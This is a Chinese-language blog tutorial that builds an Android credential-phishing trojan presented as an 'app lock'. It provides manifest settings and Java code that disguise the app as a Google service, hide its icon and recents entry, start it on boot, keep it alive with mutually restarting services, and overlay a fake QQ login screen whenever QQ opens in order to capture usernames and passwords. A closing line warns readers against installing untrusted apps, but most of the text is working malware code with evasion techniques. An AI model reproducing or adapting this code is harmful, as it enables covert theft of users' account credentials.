您的位置:首页 > 移动开发 > Android开发

android应用锁可以做的一些事

2015-06-24 20:59 806 查看
目前android市场上有很多的android应用锁的app,用来保证手机上个人隐私的目的,但是就我个人而言,”来路不明”的应用锁可能同样会给我们打来很大的危险,今天,带大家使用android应用锁来盗取用户的账号.

原理

首先需要说下应用锁的实现原理,就是在我们的service中不断地检查当前最顶端,也就是当前显示的activity所在的报名,如果是我们希望截获的报名,则跳转到一个我们自己的activity,比如qq,我们这个activity和qq的登录界面是一样的,这样当用户输入username和password的时候,我们就可以得到用户的账号信息了。

实现

注意,我们的应用需要隐藏自己不被用户发现,所以这里我给自己的应用apklock的包名是”com.google.service”,并且使用的是原声的android机器人作为apklock的图标,可是说到这里,就有人会问了,那么我们的应用不还是显示在了home桌面了吗,no,先看下AndroidManifest.xml吧。

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.google.service"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="11"
        android:targetSdkVersion="18" />

    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:allowBackup="true"
        android:persistent="true"
        android:process="com.android.core" >
        <activity
            android:name="com.google.service.MainActivity"
            android:excludeFromRecents="true"
            android:theme="@style/mainTheme" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <!-- 下面这两个data标签是隐藏该应用的桌面图标的 -->
                <data android:scheme="access" />
                <data android:host="com.example.apklock" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name="com.google.service.LoginActivity"
            android:excludeFromRecents="true" >
        </activity>

        <service
            android:name="com.google.service.AppService"
            android:enabled="true" >

            <!-- 设置service的优先级为最高 -->
            <intent-filter android:priority="1000" >
            </intent-filter>
        </service>
        <service
            android:name="com.google.service.DamenService"
            android:enabled="true" >

            <!-- 设置service的优先级为最高 -->
            <intent-filter android:priority="1000" >
            </intent-filter>
        </service>

        <receiver android:name="com.google.service.BootStartReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </receiver>
    </application>
</manifest>


这里我先简单的说明下:

<uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />


这两个权限:

android.permission.RECEIVE_BOOT_COMPLETED:是用来开机自启动的

android.permission.GET_TASKS 是读取当前task中有哪些个activity的权限

android:persistent=”true”和android:process=”com.android.core”是用来尽可能保证我们的service不被系统杀死,事实证明,除非用户多次clear应用,才可以杀死我们的service。

android:excludeFromRecents=”true” 这个属性用来隐藏我们的activity不被用户发现,加上这个属性以后,当用户查询最近的应用的时候,是看不到我们的应用的,如下图:




加上这个属性以后,用户将看不到我们的activity。

<data android:scheme="access" />
 <data android:host="com.example.apklock" />


这两个过滤的data就是在手机桌面隐藏我们的应用,也就是当应用被安装了以后,用户很难发现我们的应用。

启动主界面MainActivity

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        requestWindowFeature(Window.FEATURE_NO_TITLE);  
        // full screen  
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.FLAG_FULLSCREEN);  

        if (!isServiceWork(this,"com.example.apklock.AppService")) {
            startService(new Intent(this,AppService.class));
        }
        finish();//没有setContentView方法,并且在启动完成service之后。立即finish该activity,以防被用户发现

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (!isServiceWork(this,"com.example.apklock.AppService")) {
            startService(new Intent(this,AppService.class));
        }
    }

    /**
     * 判断某个服务是否正在运行的方法
     * 
     * @param mContext
     * @param serviceName
     *            是包名+服务的类名(例如:com.example.apklock.AppService)
     * @return true代表正在运行,false代表服务没有正在运行
     */
    public static boolean isServiceWork(Context mContext, String serviceName) {
        boolean isWork = false;
        ActivityManager myAM = (ActivityManager) mContext
        .getSystemService(Context.ACTIVITY_SERVICE);
        List<RunningServiceInfo> myList = myAM.getRunningServices(Integer.MAX_VALUE);
        if (myList.size() <= 0) {
            return false;
        }
        for (int i = 0; i < myList.size(); i++) {
            String mName = myList.get(i).service.getClassName().toString();
            if (mName.equals(serviceName)) {
                isWork = true;
                break;
            }
        }
        return isWork;
    }


MainActivity还是比较简单的,可以看到我这里去掉了,setContentView方法,并且在启动AppService之后立即将自己finish掉了,这样还是为了隐藏自己。

核心的AppService

public class AppService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override  
    public int onStartCommand(Intent intent, int flags, int startId) {  
        return START_STICKY;  //用于保证service被kill后重新创建
    }  

    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
    }

    @Override
    public void onCreate() {
        super.onCreate();
        /**
         * 当service运行在低内存的环境时,将会kill掉一些存在的进程。因此进程的优先级将会很重要,
         * 可以使用startForeground API将service放到前台状态。这样在低内存时被kill的几率更低
         */
        startForeground(0, new Notification()); 
        TimerTask task = new TimerTask() {

            @Override
            public void run() {
                ActivityManager mActivityManager;
                mActivityManager = (ActivityManager) AppService.this.getSystemService(Context.ACTIVITY_SERVICE);
                ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;
                String packageName = topActivity.getPackageName();
                if (packageName.equals("com.tencent.mobileqq")) {
                    Intent intent = new Intent();
                    intent.setClass(AppService.this,LoginActivity.class);
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(intent);
                }
                if (!MainActivity.isServiceWork(AppService.this,"com.example.apklock.DamenService")) {
                    startService(new Intent(AppService.this,DamenService.class));
                }
            }
        };

        Timer timer = new Timer();
        timer.schedule(task,0,100);//从现在开始,每隔100毫秒运行一次run方法

    }

    @Override
    public void onDestroy() {
        stopForeground(true);
        Intent localIntent = new Intent();  
        localIntent.setClass(this, AppService.class); 
        this.startService(localIntent);    //销毁时重新启动Service
    }
}


说明一下,在onStartCommand中return一个START_STICKY这样是尽可能保证我们的service被kill后重新创建,注意这里只是尽可能,不能够保证每一次都重启,那么如何保证service不被杀死呢??不着急,后边会说。

startForeground(0, new Notification()); 同样是将当前的service置为前台service,同样是不容易被系统kill掉。

在run方法中,查询当前正在运行的task的报名,如果和腾讯的报名时一样的,则跳转到我们的LoginActivity中。这里我通过Timer类的schedule方法,每隔100毫秒检测一次,这样间隔时间越短,越不容易被用户发现。

BootStartReceiver

BootStartReceiver.java这个类是用于开机自启动AppService

public class BootStartReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
            //开机自动启动这个service
            context.startService(new Intent(context,AppService.class));
        } 
    }
}


现在说下,我们如何保证service不被kill掉,这里我写了两个DamenService同时来检测当前task顶部的包名是否是”com.tencent.mobileqq”,同时这两个service互相监督对方的状态,如果被kill掉了,立即重启对方(service),这里我就不贴出代码了。

用来钓鱼的 LoginActivity

public class LoginActivity extends Activity implements OnClickListener,OnFocusChangeListener{
    EditText userNameText = null;
    EditText userPassText = null;
    Button submitButton = null;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        // TODO Auto-generated method stub
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);
        userNameText = $(R.id.username);
        userPassText = $(R.id.userpass);
        submitButton = $(R.id.loginbutton);
        //设置事件
        userNameText.setOnFocusChangeListener(this);
        userPassText.setOnFocusChangeListener(this);
        submitButton.setOnClickListener(this);

    }

    //使用泛型,让T继承自View,并且$方法返回的是T类型
    //这样做的好处是,使用findViewById不用向下转型了
    public <T extends View> T $(int id) {
        return (T) findViewById(id);
    }

    //这里重写onBackPressed方法,由于是用Intent.FLAG_ACTIVITY_NEW_TASK这种方式启动的activity,
    //所以如果这里实现默认的super.onBackPressed()的话,很快就会被用户发现
    @Override
    public void onBackPressed() {
        return;
    }

    @Override
    public void onClick(View v) {
        // TODO Auto-generated method stub
        Toast.makeText(LoginActivity.this,"username is :"+userNameText.getText().toString()+
                "==userpass is :"+userPassText.getText().toString(),Toast.LENGTH_SHORT).show();
    }

    @Override
    public void onFocusChange(View v, boolean hasFocus) {
        // TODO Auto-generated method stub
        switch (v.getId()) {
        case R.id.username:
            if (userNameText.getText().toString().equals("") && !hasFocus) {
                Toast.makeText(LoginActivity.this,"请输入username",Toast.LENGTH_SHORT).show();
                userNameText.setFocusable(!hasFocus);
            }
            break;
        case R.id.userpass:
            if (userPassText.getText().toString().equals("") && !hasFocus) {
                Toast.makeText(LoginActivity.this,"请输入password",Toast.LENGTH_SHORT).show();
                userNameText.setFocusable(!hasFocus);
            }
            break;

        default:
            break;
        }
    }
}


这里我的LoginActivity写的比较简单,大家伙可以自己高仿一个qq的登陆界面。

好了,看下效果先:




可以看到,当我们点击qq的时候会跳转到我们自己的loginActivity中,这样就有可能盗取一些用户的qq,并且两个service互相监听,不会被杀死,但是我这里还有一个问题没有解决,就是当用户多次频繁的将最近的应用清除的时候,我们的进程也就跟着挂了,这个问题,搞了半天,都没有搞定,有谁知道这个应该怎么实现,也请告知与我,感谢。

好了,说了这么多,就是为了说明来路不明的apk还是不要安装的好,不然手机出问题了,隐私被盗取了,都不知道是怎么回事。ok,关于android应用锁的学习就先到这里了。

源码下载
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: